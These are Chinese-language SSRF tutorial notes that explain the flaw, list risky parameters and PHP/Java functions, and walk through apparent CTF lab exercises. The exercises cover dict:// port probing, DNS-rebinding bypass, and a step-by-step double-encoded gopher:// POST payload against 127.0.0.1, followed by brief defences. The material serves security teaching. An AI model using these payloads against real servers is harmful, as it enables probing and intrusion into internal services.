SSRF(服务端请求伪造漏洞)由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格的过滤与限制,导致攻击者可以传入任意地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据。
漏洞场景:在线翻译、转码服务、图片的加载与下载、图片文章的收藏功能、社交分享(数据请求要想另一个服务器发起)
功能点:参数传的是一个url(形如:?url=http://abc.com/1.jpg) 除url外敏感的参数还有share、wap、link、src、source、target比参数名更重要的是看参数值是否为一个url地址。
漏洞函数:php中file_get_content()、fsockopen()、fopen()、curl_exec()、curl()、read_file()
java中HttpClient、OKHTTP()、HTTPRequest
漏洞函数的一般特点是会发起请求
SSRF漏洞实战
1、发现功能点
将地址更改为www.baidu.com发现有回显的访问
如果是不回显的,可以访问到自己部署的服务器看是否有请求,或dnslog平台
利用SSRF可以进行内网的探测,伪协议上传从而getshell
(伪协议读取文件)
dict://127.0.0.1:80伪协议可以看到目标端口的指纹信息
1、找到传参点,看是否有回显
2、apache的默认网站目录var/www/html/flag.php
(端口扫描)
1、找到传参点,看是否有回显
2、获取到信息后根据提示(8000-9000)端口,抓包进行爆破。爆破得到一个长度不同的包,找到flag
(DNS重绑定Bypass)
1、输入访问文件地址,发现被禁掉
2、重定向dns
将127.0.0.1改为如下图,访问拿到flag
(POST请求)
抓一个post包为构造gopher(这里要在源代码中添加提交按钮)
1、构建gopher协议请求包,请求包的内容有(post host(127.0.0.1:80)content-type content-length以及key值)
2、把请求包进行url编码
POST%20%2fflag.php%20HTTP%2f1.1%0AHost:%20127.0.0.1:80%0AContent-Type:%20application%2fx-www-form-urlencoded%0AContent-Length:%2036%0A%0Akey=b06fe6c4a10ae58176ee2b520c927017
3、把编码后的内容里面所有%0A编码为%0D%0A(\r变为\r\n)
POST%20%2fflag.php%20HTTP%2f1.1%0D%0AHost:%20127.0.0.1:80%0D%0AContent-Type:%20application%2fx-www-form-urlencoded%0D%0AContent-Length:%2036%0D%0A%0D%0Akey=b06fe6c4a10ae58176ee2b520c927017
4、进行url编码形成payload
POST%2520%252fflag.php%2520HTTP%252f1.1%250D%250AHost:%2520127.0.0.1:80%250D%250AContent-Type:%2520application%252fx-www-form-urlencoded%250D%250AContent-Length:%252036%250D%250A%250D%250Akey=b06fe6c4a10ae58176ee2b520c927017
5、再参数传入点赋值发送请求(?url=gopher://127.0.0.1:80/_payload)
url=gopher://127.0.0.1:80/_POST%2520%252fflag.php%2520HTTP%252f1.1%250D%250AHost:%2520127.0.0.1:80%250D%250AContent-Type:%2520application%252fx-www-form-urlencoded%250D%250AContent-Length:%252036%250D%250A%250D%250Akey=b06fe6c4a10ae58176ee2b520c927017
总结一下SSRF挖掘漏洞
1、寻找传参点url,如?url=http://xxxx,并且结合业务功能点一起判断,如转载,在线翻译等
2、判断SSRF有无回显
3、尝试SSRF哪些协议可以使用
4、dict协议用于探测端口指纹信息,gopher协议可以发送get或post请求,file协议可以用于文件读取
SSRF的防御
1、设置IP白名单
2、禁止不需要的协议(如gopher、dict)